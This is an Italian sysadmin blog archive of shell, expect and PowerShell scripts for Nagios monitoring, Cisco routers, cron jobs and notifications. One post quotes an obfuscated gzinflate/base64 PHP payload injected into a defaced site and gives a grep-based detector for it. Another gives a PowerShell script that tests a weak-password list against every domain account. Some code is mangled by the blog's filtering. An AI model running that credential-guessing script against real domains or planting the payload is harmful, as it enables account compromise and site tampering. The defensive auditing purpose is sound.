Archivi tag: script

Nagios: script bash + expect per monitorare il numero di NAT translation sui router Cisco

Dopo aver cercato a lungo un OID SNMP che potesse restituirmi on-the-fly il numero di NAT translation attive sul mio router Cisco, sono arrivato alla conclusione che il modo più semplice per ricavare tale informazione consiste nel creare uno scrip bash + expect da dare in pasto a Nagios.

Nagios_logo_blackPer prima cosa, dunque, mi sono soffermato sulla creazione dello scrip expect, in modo da poter interrogare il router oggetto di monitoraggio, lanciando un comando specifico, che è il seguente:

Router# show ip nat statistics

Ed ecco lo scrip expect vero e proprio:

#!/usr/bin/expect

set ip [lindex $argv 0]
set password1 [lindex $argv 1]
set password2 [lindex $argv 2]

spawn ssh -l nightfly "$ip"
expect "*?assword:*"
send "$password1\r"
expect ">"
send "ena\r"
expect "Password:"
send "$password2\r"
expect "#"
send "show ip nat statistics\r"
expect "#"
send "exit\r"
expect eof

Esso riceve come parametri l’IP del dispositivo, la password vty e la password ena.
Dopo averlo chiamato get_nat_num (ed averlo reso eseguibile con chmod +x get_nat_num), mi sono soffermato sulla creazione dello scrip bash, che è il seguente:

#!/bin/bash

host=$1
password1=$2
password2=$3
warning=$4
critical=$5

usage="check_nat_translations <host> <password1> <password2> <warning> <critical>"

if [ -n "$host" ]; then

        if [ -n "$password1" ];then

                if [ -n "$password2" ];then

                        if [ -n "$warning" ];then

                                if [ -n "critical" ];then

                                        if [ "$critical" -lt "$warning" ];then

                                                echo "UNKNOWN: critical has to be greater than warning"
                                                exit 3;

                                        else

                                                output=`/usr/lib64/nagios/plugins/get_nat_num $1 $2 $3 | grep "Total active translations"  | awk '{print $4}'`

                                        fi

                                        if [ -n "$output" ];then

                                                if [ "$output" -ge "$critical" ];then

                                                        echo "CRITICAL: total number of active NAT translations is $output | nat_translations=$output;$warning;$critical";
                                                        exit 2;

                                                elif [ "$output" -lt "$critical"  -a  "$output" -ge "$warning" ];then

                                                        echo "WARNING: total number of active NAT translations is $output | nat_translations=$output;$warning;$critical";
                                                        exit 1;

                                                else

                                                        echo "OK: total number of active NAT translations is $output | nat_translations=$output;$warning;$critical";
                                                        exit 0;

                                                fi
                                        else

                                                echo "UNKNOWN: output is null"
                                                exit 3;

                                        fi

                                else

                                        echo "$usage"
                                        exit 3;
                                fi

                        else

                                echo "$usage"
                                exit 3;
                        fi

                else

                        echo "$usage"
                        exit 3;
                fi
        else

                echo "$usage"
                exit 3;
        fi

else

        echo "$usage"
        exit 3;

fi

Esso accetta in ingresso 5 parametri: i primi 3 da passare allo scrip get_nat_num, gli ultimi 2 da utilizzare come soglie per Nagios (una warning ed una critical).

Rendiamo eseguibile anche questo scrip (chmod +x check_nat_translations) e soffermiamoci sulla configurazione di Nagios.

Come primo step occorre creare il comando che utilizza i plugin appena creati:

# 'check_nat_translations' command definition
 define command{
 command_name    check_nat_translations
 command_line    $USER1$/check_nat_translations $HOSTADDRESS$ $ARG1$ $ARG2$ $ARG3$ $ARG4$
 }

Successivamente è necessario creare un servizio (da inserire nel file di configurazione relativo ad un host determinato), che si avvalga del comando creato in precedenza:

define service{
 use                             local-service         ; Name of service template to use
 host_name                       cisco
 service_descripion             NAT Translations Number
 check_command                   check_nat_translations!password1!password2!40000!50000
 }

Salviamo la configurazione, riavviamo Nagios, ed il gioco è fatto.

Alla prossima.

Script powershell per identificare le password di dominio “deboli”

Ogni tanto fare una sorta di security audit sulla nostra rete è cosa buona e giusta, soprattutto se in passato questo task è stato totalmente ingnorato dai sistemisti di turno.

Proprio per questo motivo, ho pensato di realizzare un scrip powershell in grado di testare la robustezza delle password utilizzate dalle varie utenze di dominio.

powershellPreparazione

Per prima cosa occorre creare una lista di password “deboli” all’interno di un file di testo (weakpasswords.txt). Tale file dovrà contenere una sola password per riga, ad esempio:

 password1
 password2
 password3

Una volta fatto ciò occorre salvare in un altro file di testo le utenze di dominio, lanciando tale comando direttamente sul domain controller:

NET USERS /DOMAIN > users.txt

Il contenuto del file users.txt sarà simile al seguente:

User accounts for \\DC
------------------------------------------------------------------ utente1                        utente2               utente3  utente4                        utente5               utente6

Affinchè lo scrip possa funzionare, però, è necessario che vi sia un solo utente per riga, ergo bisogna parsare il file users.txt e salvare il suo contenuto (opportunamente formattato) all’interno di un altro file (parsed.txt). Per farè ciò ho utilizzato awk (su una Linux box):

[root@server ~]# cat users.txt | awk '{print $1}' >> parsed.txt
[root@server ~]# cat users.txt | awk '{print $2}' >> parsed.txt
[root@server ~]# cat users.txt | awk '{print $3}' >> parsed.txt

Contenuto dello script

Adesso il file parsed.txt può essere spostato sul DC e possiamo creare il nostro scrip (che chiameremo testauth.ps1) il cui contenuto dovrà essere:

Function Test-ADAuthentication {
    param($username,$password)
    (new-object directoryservices.directoryentry "",$username,$password).psbase.name -ne $null
}

$users = Get-Content parsed.txt 
foreach ($user in $users) {
    $user = $user.Trim()
    $passwords = Get-Content weakpasswords.txt
    foreach ($password in $passwords) {
        $password = $password.Trim()
        $result = Test-ADAuthentication "NOMEDOMINIO\$user" "$password"
        if ($result -like "True") {
            echo "Username $user has got a the weak password $password" >> passresult.txt
        }
        else
        {
            echo "Password for user $user did not match" 
        }
    }
}

Esecuzione

Non ci resta che eseguire tale scrip powershell mediante il comando:

./testauth.ps1

e successivamente verificare il contenuto del file passresult.txt, in cui saranno presenti le associazioni utente/password “debole”.

Alla prossima.

Nagios e contenuti Web: script per verificare il codice HTML del nostro sito Internet

In questo blog ho dedicato diversi post a Nagios, essendo, a mio avviso, uno dei migliori NMS open source in circolazione. Tra i vari plugin messi a disposizione dal suddetto software di monitoraggio vi è check_http, il quale è in grado di inviare delle richieste apposite al sito Web che intendiamo monitorare, segnalando eventuali problemi di connessione o errori di protocollo (401, 403, 404, 500, ecc.).

nagiosSpesso, però, si rende necessario verificare anche che il contenuto del sito Web sia effettivamente visualizzato dall’utente finale (cosa non sempre vera, soprattutto quando si ha un’infrastruttura costituita na N frontend che contattano N server API per “popolare” la pagina Web da offire ai client). Per questo motivo ho deciso di creare il seguente script, in grado di saggiare il contenuto del sito Web:

#!/bin/bash

if [ -n "$1" ];then
 result=`curl -s $1 | grep ng-controller=\"Main\"`
 if [ -n "$result" ]; then
       echo "OK"
       exit 0
 else
       echo "CRITICAL"
       exit 2
 fi
else
      echo "Usage: check_content <URL>"
fi

exit 0

Il suo funzionamento è abbastanza banale. Sostanzialmente esegue una chiamata curl al sito target, cercando un determinato pattern nel sorgente della pagina Web (in questo caso la stringa cercata è ng-controller=\”Main\”).

Se il suddetto pattern viene trovato, l’eseguibile esce con status 0 (OK), altrimenti restituisce un errore di tipo CRITICAL (exit 2).

Ovviamente occorre scegliere la stringa da cercare molto attentamente, ovvero deve essere qualcosa che non varia in base alle eventuali modifiche del codice HTML (release).

Spero che il suddetto script possa tornarvi utile.

Alla prossima.

Script Bash per controllare lo stato di un processo

Quando si schedulano dei job su cron è opportuno distanziarli tra di loro dal punto di vista temporale, in quanto la sovrapposizione degli stessi potrebbe portare a comportamenti inaspettati. Tale regola andrebbe seguita sempre e comunque, soprattutto se i job si occupano di parsare dei dati e di inserirli dentro un database.

cron, job, parser, ps aux, wc -l, grep, output, gt, bash, script

Dopo questa breve premessa, ecco il codice che utilizzo per il suddetto scopo:

#!/bin/bash

ESEC=`ps aux | grep Parser | wc -l`
if [ $ESEC -gt 1 ]; then #la prima riga e' il grep stesso
echo "Parser is still running.";
exit 0;
fi

Lo scrip in questione è abbastanza semplice. Dapprima lancia un ps aux | grep Parser, dove Parser è il nome del processo di cui voglio controllare lo stato. Se tale processo non è in esecuzione, l’output del comando conterrà solo ed esclusivamente la riga relativa al grep. Dunque, se il numero di righe ricavate mediante un wc -l è strettamente maggiore di uno, vuol dire che una o più istanze del processo è in esecuzione (lo scrip esce). Viceversa, lo scrip continua in quanto nessuna istanza è attualmente attiva.

Alla prossima.

Script per tenere sotto controllo i siti vittima di defacing

Recentemente è aumentato a dismisura il numero di siti che hanno subito un defacing. Tale piaga può essere dovuta a diversi fattori:

1) vulnerabilità del Web server (ricordate il celeberrimo exploit per IIS che sfruttava una cattiva gestione dell’URL encoding?)

2) Vulnerabilità del sistema operativo che ospita il Web server (o di uno dei servizi attivi sulla macchina);

3) Furto delle credenziali FTP, soprattutto se sono state inviate via email.

defacing, pattern, bash, cracker, cron, script, monitoring

Vi assicuro che la terza ipotesi è quella più gettonata, nel senso che sempre più spesso si assiste ad un defacing proprio perchè i cracker hanno ottenuto accesso allo spazio FTP, riuscendo quindi a modificare a piacimento le pagine Web del sito vittima.

Ad esempio, in questo post ho discusso di un defacing avvenuto sul sito di un amico. Il pattern specifico che lo identificava era il seguente:

#c3284d# echo(gzinflate(base64_decode("JY5BjsIwEATvSPzBmgu7l1jaIxvnFXxgcIZ4VoltjRsCvydsbq2Wqqv7Fk0rHF5VAkGe8H/84L2l4XgYS7wvktGtpp CvU68340VcsxgoAfXsfTRh6EPUSmZDlwVeF56k+QZG62qq5PKGBbqsCoiR2xRlnjVPgfiOQu5/91psFAuUt4JnnXKguNk/QBKdEgL9kFt1RPqkoff7n+H0/X s89H4/PrwB"))); #/c3284d#

Ecco allora che ho pensato di creare uno scrip, da eseguire automaticamente mediante cron, che mi potesse segnalare la presenza del suddetto pattern sul sito che stavo monitorando:

#!/bin/bash

touch temp

data=`date`

wget nomesito.it

cat index.html | grep gzinflate >> temp

if [ -s temp ]; then
cat temp | mail -iv -s "$data: codice malevolo iniettato" vostro.indirizzo@email.it
fi

rm index.html*

rm temp

exit 0

Lo scrip è abbastanza banale ma vi assicuro che è di un’utilità pazzesca.

Potete modificarlo a vostro piacimento, basta che settate il sito da monitorare, il pattern (dopo il grep) ed il vostro indirizzo di posta elettronica (su cui verranno inviate le email di alert in caso di defacciamento).

Spero vi possa tornare utile.

Alla prossima.

DDoS: script bash per individuare la nazionalità degli IP sorgenti dell’attacco

Per arginare un attacco DDoS è necessario, prima di tutto, individuare quali sono gli IP pubblici da cui proviene. In secondo luogo, occorre capire se il sito vittima basa il proprio “business” esclusivamente su visite italiane. In questo caso, per realizzare delle opportune ACL in modo da filtrare il traffico in ingresso, si deve capire quali sono i netblock stranieri da interdire. Per fare ciò ho realizzato un piccolo scrip bash che legge gli IP da un file di testo (ricavati, ad esempio, analizzando i log del Firewall o del Web server) e ne individua il relativo netblock (e la nazionalità).

 

ddos,bash,script,linux,netblock,netmask,ip

Ecco lo scrip:

#!/bin/bash

touch ipinfo
touch target

while read line
do
        whois -F $line >> ipinfo
done < tlog

while read line
do
        locin=`echo $line | grep "*in"`
        loccy=`echo $line | grep "*cy"`
        if [[ -n "$locin" || -n "$loccy" --; then
                echo "$locin$loccy" >> target
        fi
done < ipinfo

rm ipinfo

exit 0;

Ovviamente è ancora ad una versione alpha (0.1). Appena avrò tempo provvederò ad aggiungere il calcolo automatico delle netmask e la creazione automatizzata della relative ACL Cisco (con un minimo di interattività).

Alla prossima.

NB: il file testuale tlog deve contenere un solo IP sorgente per riga.

Controllare lo stato di iptables mediante Nagios

Recentemente su uno dei miei server ho lanciato il comando:

nightfly@nightbox:~$ sudo iptables -L

e con mio enorme disappunto mi sono accorto che le regole di firewalling che il server avrebbe dovuto caricare all’avvio erano praticamente assenti (eccezion fatta per fail2ban), indi per cui ho deciso di monitorare lo stato di iptables mediante Nagios.

iptables.jpg

Lo scrip che ho utilizzato per i check potete scaricarlo da qui. Inoltre, poichè tale scrip è piuttosto bacato, ho deciso di apportare qualche piccola correzione. Di seguito la versione originale dello scrip:

#!/bin/bash

PARAM1=$1
TABLE=$2
MINRULES=$3
PARAM4=$4
LOG=/var/log/iptables/iptables.log
CHKIPTBLS=`/sbin/iptables -n -t filter -L |wc -l`

#
# Parameter Validation
##

if [ "$PARAM1" != "-T" -o "$TABLE" == "" -o "$MINRULES" != "-r" -o "$PARAM4" == "" ]; then
        echo "Usage: $0 -T <table> -r <min rules>"
        echo ""
        exit 3
                # Nagios exit code 3 = status UNKNOWN = orange

if [ "$PARAM1" == "-h" ]; then
        echo ""
        echo "         -h = Display's this Help"
        echo "         -T = Table to check"
        echo "                 Available Tables:"
        echo "                    nat"
        echo "                    mangle"
        echo "                    filter"       
        echo "         -r = Minimun quantity of rules"
        echo ""
        # Nagios exit code 3 = status UNKNOWN = orange
                exit 3
   fi
fi

##
#    DO NOT MODIFY ANYTHING BELOW THIS
##

$CHKIPTBLS >/dev/null 2>/dev/null

if [ "$CHKIPTBLS" == 0 ]; then
    TOTRULES=$CHKIPTBLS
else
    TOTRULES=$[$CHKIPTBLS-8]
fi

if [ "$TOTRULES" -gt "$PARAM4" ]; then
                    echo "OK - Iptables are OK the table $TABLE has $TOTRULES rules configured"
                    # Nagios exit code 0 = status OK = green
                    exit 0
else
                    echo " CRITICAL - Iptables are CRITICAL the table $TABLE has $TOTRULES rules configured"
                    for i in `w  -h | cut -f1 -d" " | sort | uniq`
                    do

                        echo "`date '+%d/%m/%Y - %H:%M:%S'` - CRITICAL - $i is logged in and there are only $TOTRULES loaded" >> $LOG
                    done
                    # Nagios exit code 2 = status CRITICAL = red
                    exit 2               
fi

Punto primo: la seconda condizione dell’if non ha praticamente senso, in quanto la prima è sempre verificata.
E’ bastato invertire le due condizioni e trattarle separatamente:

#
# Parameter Validation
##

if [ "$PARAM1" == "-h" ]; then
        echo ""
        echo "          -h = Display's this Help"
        echo "          -T = Table to check"
        echo "          Available Tables:"
        echo "          nat"
        echo "          mangle"
        echo "          filter"
        echo "          -r = Minimun quantity of rules"
        echo ""
        # Nagios exit code 3 = status UNKNOWN = orange
        exit 3
fi

if [ "$PARAM1" != "-T" -o "$TABLE" == "" -o "$MINRULES" != "-r" -o "$PARAM4" ==                                                                                         "" ]; then
        echo "Usage: $0 -T <table> -r <min rules>"
        echo ""
        exit 3
        # Nagios exit code 3 = status UNKNOWN = orange
fi

Punto secondo: la variabile CHKIPTBLS utilizza sempre e comunque la tabella filter, dunque il parametro -T non ha senso di esistere. Possiamo però ovviare a tale mancanza, permettendo all’utente di scegliere su quale tabella (tra filter, mangle e nat) effettuare i controlli, modificando la variabile citata in precedenza nel seguente modo:

CHKIPTBLS=`sudo /sbin/iptables -n -t "$TABLE" -L |wc -l`

Punto terzo: la condizione

if [ "$TOTRULES" -gt "$PARAM4" ]; then

controlla che il numero di regole caricate sia strettamente maggiore di quello definito mediante il parametro -r. Questo però cozza con quanto dichiarato dall’autore dello scrip, ovvero:

OK - The number of Iprules equal o more than the minimun that we setup on the -r variable

Per ovviare a tale errore, occorre sostituire la condizione riportata in precedenza con questa:

if [ "$TOTRULES" -ge "$PARAM4" ]; then

Punto quarto: nagios non ha i permessi per lanciare iptables, ergo dobbiamo effettuare delle modifiche al file /etc/sudoers, inserendo la entry:

nagios   ALL = NOPASSWD: /sbin/iptables

alla fine del file. 

In definitiva, lo scrip per controllare lo stato di iptables dovrà essere il seguente:

#!/bin/bash

PARAM1=$1
TABLE=$2
MINRULES=$3
PARAM4=$4
LOG=/var/log/check_iptables.log
CHKIPTBLS=`sudo /sbin/iptables -n -t "$TABLE" -L |wc -l`

#
# Parameter Validation
##

if [ "$PARAM1" == "-h" ]; then
        echo ""
        echo "          -h = Display's this Help"
        echo "          -T = Table to check"
        echo "          Available Tables:"
        echo "          nat"
        echo "          mangle"
        echo "          filter"
        echo "          -r = Minimun quantity of rules"
        echo ""
        # Nagios exit code 3 = status UNKNOWN = orange
        exit 3
fi

if [ "$PARAM1" != "-T" -o "$TABLE" == "" -o "$MINRULES" != "-r" -o "$PARAM4" == "" ]; then
        echo "Usage: $0 -T <table> -r <min rules>"
        echo ""
        exit 3
        # Nagios exit code 3 = status UNKNOWN = orange
fi

##
#       DO NOT MODIFY ANYTHING BELOW THIS
##

$CHKIPTBLS >/dev/null 2>/dev/null

if [ "$CHKIPTBLS" == 0 ]; then
        TOTRULES=$CHKIPTBLS
else
        TOTRULES=$[$CHKIPTBLS-8]
fi

if [ "$TOTRULES" -ge "$PARAM4" ]; then
                    echo "OK - Iptables is OK The Table $TABLE has $TOTRULES rules configured"
                    # Nagios exit code 0 = status OK = green
                    exit 0
else
                    echo " CRITICAL - Iptables is CRITICAL The Table $TABLE has $TOTRULES rules configured"
                                        for i in `w  -h | cut -f1 -d" " | sort | uniq`
                                        do
                                                echo "`date '+%d/%m/%Y - %H:%M:%S'` - CRITICAL - $i is logged in and there are only $TOTRULES loaded" >> $LOG
                                        done
                    # Nagios exit code 2 = status CRITICAL = red
                    exit 2
fi

Se il file /var/log/check_iptables.log non esiste, dovrete crearlo mediante il comando:

nightfly@nightbox:~$ sudo touch /var/log/check_iptables.log

A questo punto possiamo rinominare lo scrip:

nightfly@nightbox:~$ mv check_iptables_status.sh check_iptables_status

rendondolo successivamente eseguibile:

nightfly@nightbox:~$ chmod +x check_iptables_status

Spostiamolo nella directory /usr/lib/nagios/plugins:

nightfly@nightbox:~$ sudo mv check_iptables_status /usr/lib/nagios/plugins

Creiamo il file iptables.cfg nella directory /etc/nagios-plugins/config:

nightfly@nightbox:/etc/nagios-plugins/config$ sudo nano iptables.cfg

il cui contenuto dovrà essere il seguente:

# 'check_iptables_status' command definition
define command{
        command_name    check_iptables_status
        command_line    /usr/lib/nagios/plugins/check_iptables_status -T '$ARG1$' -r '$ARG2$'
        }

infine aggiungiamo la seguente direttiva al file dell’host su cui vogliamo monitorare lo stato di iptables (tale file è presente nella directory /etc/nagios3/conf.d):

define service{
        use                             generic-service         ; Name of service template to use
        host_name                       localhost
        service_description             iptables
                check_command                   check_iptables_status!filter!84
}

Dove 84 è il numero minimo di regole di firewalling attive.

Infine, riavviamo nagios:

nightfly@nightbox:~$ sudo service nagios3 restart

ed abbiamo finito.

Alla prossima.

autovodafone versione 0.2: URL-encoding completo e meccanismi di controllo

Come avevo già preannunciato in questo post, ecco la versione 0.2 dello scrip bash per l’invio di MMS gratis mediante Vodafone.it:

mms2.jpg

#!/bin/bash

#File di log
FILELOG=/var/log/autovodafone

ROOT_UID=0

#Controllo che lo scrip venga eseguito da root
if [ "$UID" -ne "$ROOT_UID" ];then

        ERRORE1="Errore 1: Devi essere root per eseguire lo scrip"
        echo $ERRORE1
        echo "$(date) $ERRORE1" >> $FILELOG
        exit 1

fi

data=$(date)

echo "Inserisci il destinatario:"

read destinatario

echo "Inserisci l'oggetto del messaggio:"

read oggetto

echo "Inserisci il testo del messaggio:"

read testo

echo "$testo" > text

cat text | sed -f urlencoding.sed > encoded

enc=$(cat encoded)

curl -c cookiev.txt -F "username=vostrousername" -F "password=vostrapassword" https://www.vodafone.it/190/trilogy/jsp/login.do 2&>1
curl -b cookiev.txt --data "recipient=$destinatario&subjecttosend=$oggetto&SmilName=&TextName=$enc&ImageName=&AudioName=&nextPage=/web/servletresult.html" http://mmsviaweb.net.vodafoneomnitel.it/WebComposer/web/elaborapop.jsp | grep -o -E '"s*(.*)>(.*)"' > out

sed -n '2p' out > out1

sed -e s/"//g out1 > out2

sed -e "s/ /+/g" out2 > out3

url="http://mmsviaweb.net.vodafoneomnitel.it"

url1=$(cat out3)

url2=$(echo "$url$url1")

curl -b cookiev.txt $url2 > result

if grep -q "SendMessage=1" result;then

echo "$data: messaggio inviato" >> $FILELOG

else

echo "$data: il messaggio non e' stato inviato" >> $FILELOG

fi

rm out

rm cookiev.txt

rm text

rm encoded

rm result

exit 0

Nella fattispecie, ho creato il file urlencoding.sed per la codifica del testo relativo all'MMS, il cui contenuto è il seguente:

s/%/%25/g
s/ /%20/g
s/ /%09/g
s/!/%21/g
s/"/%22/g
s/#/%23/g
s/$/%24/g
s/&/%26/g
s/'''/%27/g
s/(/%28/g
s/)/%29/g
s/*/%2a/g
s/+/%2b/g
s/,/%2c/g
s/-/%2d/g
s/./%2e/g
s///%2f/g
s/:/%3a/g
s/;/%3b/g
s//%3e/g
s/?/%3f/g
s/@/%40/g
s/[/%5b/g
s//%5c/g
s/]/%5d/g
s/^/%5e/g
s/_/%5f/g
s/`/%60/g
s/{/%7b/g
s/|/%7c/g
s/}/%7d/g
s/~/%7e/g
s/      /%09/g

Ho voluto avvalermi di sed per omogeneità, ciò non significa che tale operazione non sia fattibile attraverso linguaggi di scripting esterni (ad esempio perl).

Inoltre, mediante le seguenti righe di codice:

if grep -q "SendMessage=1" result;then

echo "$data: messaggio inviato" >> $FILELOG

else

echo "$data: il messaggio non e' stato inviato" >> $FILELOG

fi

ho previsto dei controlli (molto basilari) relativi all’esito dell’operazione di inoltro degli MMS, il cui risultato verrà salvato sul file di log (con data e ora).

Qualunque suggerimento per estendere e/o migliorare lo scrip rimane comunque il benvenuto.

A presto.

Script per il forward automatico della porta SSH sul router Cisco 837

La IOS C837-K9O3Y6-M sviluppata per il router Cisco 837 ha un bug, ovvero è possibile che dopo qualche reload si “dimentichi” di una o più PAT translations che riguardano porte più alte delle well-known (per intenderci, superiori alla 1023).

bug

Nel mio caso, il problema ha iniziato a verificarsi da quando ho deciso di mettere in ascolto SSH su una porta non standard, in modo da risparmiarmi i tentativi di attacco lanciati dagli scrip kiddie di turno.

Inoltre, per motivi di sicurezza, ho consentito l’accesso via SSH al router solo dagli host della LAN, quindi, nel caso in cui dovessi accedere alla sua configurazione, atterro sul server e da lì mi collego al router.

Ovviamente, se la porta SSH non è forwardata non posso atterrare sul server, dunque l’unica soluzione praticabile consiste nell’andare fisicamente dal cliente e ricreare la regola per il PAT.

E qui viene il bello: poichè mi sono stancato di dover perdere almeno un’ora per andare dal cliente, riconfigurare il tutto e tornarmene a casa, ho deciso di creare il seguente scrip, il quale si collega al router tre volte al giorno e ricrea la regola per l’SSH.

Ecco lo scrip:

#!/usr/bin/expect

set password1 "<password1>"
set password2 "<password2>"

spawn ssh -l <username> <IP del router>
expect "*?assword:*"
send "$password1r"
expect ">"
send "enar"
expect "Password:"
send "$password2r"
expect "#"
send "conf tr"
expect "(config)#"
send "no ip nat inside source static tcp <ip> <porta> interface Dialer0 <porta>r"
expect "(config)#"
send "ip nat inside source static tcp <ip> <porta> interface Dialer0 <porta>r"
expect "(config)#"
send "exitr"
expect "#"
send "copy run startr"
expect "?"
send "r"
expect "#"
send "exitr"
expect eof

Come al solito, mancano i backslash prima della r perchè myblog li filtra.

Una volta che avete creato lo scrip, convertitelo in eseguibile lanciando il comando:

nightfly@nightbox:~$ sudo chmod +x ssh_autoforward

e salvatelo nella directory /usr/bin:

nightfly@nightbox:~$ sudo mv ssh_autoforward /usr/bin

A questo punto potete creare la regola per cron, in modo da schedulare l’esecuzione dello scrip alle 6, alle 12 ed alle 18:

nightfly@nightbox:~$ sudo nano /etc/crontab

00 06,12,18   * * *     root          ssh_autoforward

Riavviamo cron:

nightfly@nightbox:~$ sudo service cron restart

ed abbiamo finito.

A presto.

PS: non preoccupatevi se lo scrip entra in esecuzione mentre siete loggati sul server: la regola per il forward dell’SSH non verrà rimossa poichè la state già utilizzando, quindi niente perdita di connessione.

Script bash per l’invio di notifiche tramite email

Poco tempo fa ho deciso di creare un piccolo scrip in grado di interrogare un database, salvare temporaneamente in un file la risposta alla query ed inviare una notifica via email all’indirizzo di posta specificato. Nella fattispecie, tale scrip ha come scopo principale quello di notificare le scadenze da saldare e quelle non rispettate.

bash,mail,email,mysql,query,script,scadenze,notifiche

Ma bando alle ciance ed ecco lo scrip:

#!/bin/bash

destinatario=vostro.indirizzo@email.it

logfile=/var/log/notifier.log

ROOT_UID=0

data=`date +%s` #lavoro con i timestamp per poter confrontare le date

if [ "$UID" -ne "$ROOT_UID" ];then

        ERRORE1="Errore 1: Devi essere root per eseguire lo scrip"
        echo $ERRORE1
        echo "$(date) $ERRORE1" >> $logfile

        exit 1

fi

mysql -u root -ppassword -D nomedb -e "SELECT * FROM scadenza;" >> scadenze

echo "Hai le seguenti scadenze da saldare: " > scadenze_imminenti;

echo "Hai le seguenti scadenze non saldate: " > scadenze_nonrispettate;

while read line

do

        scad=`cat scadenze | grep - | awk '{print $2}'` #per individuare la data di scadenza.

        for info in $scad

        do

                datascad=`date --utc --date "$info" +%s`  #uso i timestamp per confrontare le date

                if [ "$data" -le "$datascad" ];then

                        if [[ $line =~ $info --;then

                                echo $line >> scadenze_imminenti

                        fi

                fi

                if [ "$data" -gt "$datascad" ];then

                        if [[ $line =~ $info --;then

                                echo $line >> scadenze_nonrispettate

                        fi
                fi

       done

done < scadenze

if grep -q "-" scadenze_imminenti ;then

uniq scadenze_imminenti | mail -iv -s "Scadenze da saldare" $destinatario;

fi

if grep -q "-" scadenze_nonrispettate ;then

uniq scadenze_nonrispettate | mail -iv -s "Scadenze non saldate" $destinatario;

fi

rm scadenze

rm scadenze_imminenti

rm scadenze_nonrispettate

exit 0

Come è facile notare, viene fatto un confronto tra la data corrente e quella di ciascuna scadenza (sottoforma di UNIX timestamp). Nel caso in cui la data corrente sia antecedente o uguale a quelle delle scadenze, esse verranno salvate nel file scadenze_imminenti, il cui contenuto verrà successivamente inserito nel corpo di una email e spedito al destinatario.

Invece, se la data attuale è maggiore di quella della scadenza, quest’ultima verrà salvata nel file scadenze_nonrispettate, il cui contenuto verrà recapitato nella casella email del destinatario.

Per qualsiasi chiarimento contattatemi.

Bye.